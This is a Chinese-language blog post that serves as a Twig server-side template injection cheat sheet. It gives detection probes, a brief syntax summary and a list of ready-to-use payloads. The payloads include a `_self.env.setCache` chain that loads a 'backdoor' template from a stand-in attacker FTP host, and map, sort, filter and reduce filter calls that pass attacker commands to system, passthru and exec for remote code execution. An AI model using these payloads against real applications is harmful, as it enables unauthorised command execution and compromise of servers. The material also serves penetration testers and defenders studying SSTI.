Twig模板注入

Twig模板注入

判断:

探测内置变量 _self_context

{{ _self }}
{{ _context }}

观察错误信息

{{ ''.__class__ }}        // Jinja2/Python 风格 → 报错含 "Undefined property __class__"
{{ ''.__class__() }}      // Python 特有
{{ ''['test'] }}          // Twig 可能报 "Unsupported operand types"

利用 Twig 特有 RCE 载荷测试

{{ _self.env.setCache("...") }}           // 旧版 Twig RCE 特征
{{ _self.env.loadTemplate("...") }}

基本语法:

{{}}内是表达式,会输出,{%%}内是控制逻辑语句,不输出

{%%}支持的逻辑语句:

赋值      set
条件      if / elseif / else / endif
循环      for / endfor / loop 变量
继承      extends / block / endblock
包含      include
宏        macro / import / from
空白控制   - 修饰符(如 {%- 或 -%})
扩展功能   sandbox, cache, embed 等(需启用)

payload:

利用_self.:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}      //改变路径实现远程文件包含

利用map过滤器:

{{["cmd"]|map("system")}}
{{["cmd"]|map("passthru")}}
{{["cmd"]|map("exec")}}    // 无回显

利用sort过滤器:

{{["cmd", 0]|sort("system")}}
{{["cmd", 0]|sort("passthru")}}
{{["cmd", 0]|sort("exec")}}    // 无回显

利用filter过滤器:

{{["cmd"]|filter("system")}}
{{["cmd"]|filter("passthru")}}
{{["cmd"]|filter("exec")}}    // 无回显

利用reduce过滤器(执行两次):

{{[0, 0]|reduce("system", "cmd")}}
{{[0, 0]|reduce("passthru", "cmd")}}
{{[0, 0]|reduce("exec", "cmd")}}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇